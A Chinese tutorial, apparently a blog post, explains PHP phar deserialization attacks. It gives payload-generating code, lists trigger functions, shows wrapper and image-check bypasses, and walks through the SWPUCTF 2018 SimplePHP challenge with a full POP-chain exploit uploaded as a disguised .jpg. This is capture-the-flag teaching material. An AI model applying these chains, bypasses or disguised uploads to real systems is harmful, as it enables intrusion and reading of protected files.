phar是什么?
phar 是 PHP 的一种归档文件格式,类似于 ZIP 或 TAR 文件,它可以包含多个文件和目录,并且可以像访问普通文件系统一样在 PHP 中进行访问。在php 5.3 或更高版本中默认开启
在php.ini中配置如下时,才能生成phar文件,记得要删除分号
phar.readonly = Off
phar文件的生成以及利用
这个是一个简单的php反序列化题
<?php
class Test {
public $num = 2;
public function __destruct() { //__destruct 函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
if ($this->num === 1) {
echo 'flag{^_^}'; }
}
}
unserialize($_GET['data']);
#show_source(__FILE__)
?>
payload构造代码:
<?php
class Test {
public $num;
}
$a = new Test();
$a->num=1;
echo serialize($a);
最后成功输出flag
正常的php反序列化是通过unserialize函数来实现的,而phar反序列化可以通过 file_get_contents函数来实现。
如下:
<?php
class Test {
public $num = 2;
public function __destruct() {
if ($this->num === 1) {
echo 'flag{^_^}';
}
}
}
echo file_get_contents($_GET['file']);
?>
我们修改一下php反序列化的payload的构造代码:
<?php
class Test {
public $num;
}
$a = new Test();
$a->num=1;
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($a);
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
?>
可以看见之前的serialize函数被代替了,变成这了几段代码:
$phar = new Phar("a.phar"); // 创建一个名为 "a.phar" 的 Phar 归档文件。
$phar->startBuffering(); //使用 startBuffering() 方法开始缓冲,以便在添加文件之前可以对 Phar 对象进行配置。
$phar->setStub("<?php __HALT_COMPILER(); ?>"); /* 设置stub,必须以__HALT_COMPILER(); ?>结尾*/
$phar->setMetaData($a); # 设置自定义的metadata,序列化存储,解析式会被序列化。
$phar->addFromString("test2.txt", "test2"); //phar文件里面的文件为test2.txt,内容为test2
$phar->stopBuffering(); # 停止缓冲,将所有的配置应用到 Phar 文件中
访问我们构造的php代码,可以看见在本地生成了一个a.phar文件
这时候再访问题目的页面,对file参数使用phar协议
?file=phar://a.phar/test2.txt
可以看见输出了test2和flag,test2为我们的a.phar文件里面的内容,通过file_get_contents函数读取出来的,至于为什么flag也读出来,是因为a.phar里面有我们的恶意代码,phar文件被反序列化了。
触发phar反序列化的敏感函数
文件相关的函数
fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file
is_link / is_readable / is_writeable / is_writable
parse_ini_file
unlink
copy
其他触发函数
image
exif_thumbnail
exif_imagetype
imageloadfont
imagecreatefrom***
getimagesize
getimagesizefromstring
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
常见的绕过方式
绕过phar://开头
compress.bzip://phar://a.phar/test1.txt
compress.bzip2://phar://a.phar/test1.txt
compress.zlib://phar://a.phar/test1.txt
php://filter/resource=phar://a.phar/test1.txt
php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt
绕过图片检查
- 可以修改phar文件名的后缀
- 文件开头添加GIFB9a绕过十六进制检查
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
案例演示
题目地址:
https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP
信息收集
进入首页可以看见这里有一个可疑的文件读取漏洞
查看源代码,可以看见flag的位置提示
尝试读取file.php文件,发现成功读取
class.php源代码如下,在这里我们知道了f1ag.php的绝对路径应该是 /var/www/html/f1ag.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
在这里可以看见有一个phar的反序列化漏洞可利用函数 file_exists
我们构造一下参数查看一下class.php文件
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
可以发现文件读取的主要函数是file_get ,我们可以构造它的内容为/var/www/html/f1ag.php读取flag
但是要想执行file_get 函数就必须调用get函数,可以看见get方法的调用又来自__get魔术方法,在__get魔术方法中访问一个对象的不可访问属性时被调用,会自动调用,具体可以参考我这篇:
https://blog.csdn.net/weixin_53912233/article/details/136201452/
在Show类中可以发现,可以发现这么一行是属于Test类不可访问的属性,那么 source 就是 Test 类中一个不存在的属性,在执行这条语句时就会触发 Test 类的 __get 魔术方法。
因为不存在的属性source被__get魔术方法调用了,所以$key就是source属性,被当作后续的参数使用。
由于调用str属性需要来自 C1e4r类,这里有一个构造魔法__construct。
至于调用Show类中的__toString方法,可以看见在C1e4r类中有一个echo输出函数,当对象作为字符串进行输出的时候就会进行调用
pop链构造
所以构造pop链的思路是:
Test()->params['source']="/var/www/html/f1ag.php"; //Test类中获取的文件为f1ag.php
Show()->str['str'] = new Test(); //调用Show类的属性,因为在Test类中不存在该属性,触发__get方法
C1e4r()->str = new Show(); //调用C1e4r类的str属性给Show类
pop构造代码如下:
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new Test();
$a->params['source'] = "/var/www/html/f1ag.php"; //因为source属性是get函数的传参,我们可以利用它自定义读取的文件
$b = new Show();
$b->str['str'] = $a; //Show类中的str['str']给Test类,因为该属性对于Test类不存在,可以调用__get魔术方法
$c = new C1e4r();
$c->str = $b; //C1e4r类将str属性给Show类
/*最后打包成phar文件*/
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($c); // 打包该类
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
?>
最后在本地可以看见生成了一个phar文件
获取flag
这里可以看见有一个文件上传的点
直接上传可以看见被过滤掉了
我们使用文件读取漏洞看一下该上传页面的源代码upload_file.php:
可以看见包含了一个function.php,再次查看该源代码:
可以发现了上传后的文件在upload目录下,同时后端对后缀进行了验证,我们将 a.phar文件改为 a.jpg文件即可,可以发现上传成功
访问upload目录可以看见这个就是我们上传的文件
这时候我们在文件读取的漏洞利用phar协议,读取我们上传的恶意文件,可以发现出现了base64字符串,恶意代码解析成功。
bae64解码获取flag